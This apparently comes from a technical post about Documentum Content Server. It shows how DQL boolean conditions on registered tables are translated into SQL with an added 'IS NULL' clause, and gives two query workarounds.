API> ?,c,select count(*) from dm_sysobject 
  where a_is_template=0 enable(GENERATE_SQL_ONLY)
generate_sql
-------------------------------------------------
select all count(*) from dm_sysobject_sp  dm_sysobject 
  where ((dm_sysobject.a_is_template=0)) 
  and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0) 
(1 row affected)

BUT:

API> ?,c,select count(*) from dm_dbo.dm_sysobject_s 
  where a_is_template=FALSE enable(GENERATE_SQL_ONLY)
generate_sql
-------------------------------------------------
select all count(*) from docbase.dm_sysobject_s 
  where ((a_is_template=0 OR a_is_template IS NULL)) 
(1 row affected)

API> ?,c,select count(*) from dm_dbo.dm_sysobject_s 
  where a_is_template=0 enable(GENERATE_SQL_ONLY)
generate_sql
-------------------------------------------------
select all count(*) from docbase.dm_sysobject_s 
  where ((a_is_template=0 OR a_is_template IS NULL)) 
(1 row affected)

i.e. Content Server thinks that it is smart enough and in case of registered tables generates wrong SQL, there are two options to “override” such behaviour:

  • write odd DQL, like:
    API> ?,c,select count(*) from dm_dbo.dm_sysobject_s 
      where (a_is_template=FALSE and a_is_template IS NOT NULL) enable(GENERATE_SQL_ONLY)
    generate_sql                                                                                                                             
    -------------------------------------------------
    select all count(*) from bee_ssc_dev.dm_sysobject_s 
      where (((a_is_template=0 OR a_is_template IS NULL) and a_is_template is not null)) 
    (1 row affected)
    
  • write tricky DQL:
    API> ?,c,select count(*) from dm_dbo.dm_sysobject_s 
      where a_is_template IN (FALSE) enable(GENERATE_SQL_ONLY)
    generate_sql                                                                     
    -------------------------------------------------
    select all count(*) from bee_ssc_dev.dm_sysobject_s 
      where (a_is_template in (0)) 
    (1 row affected)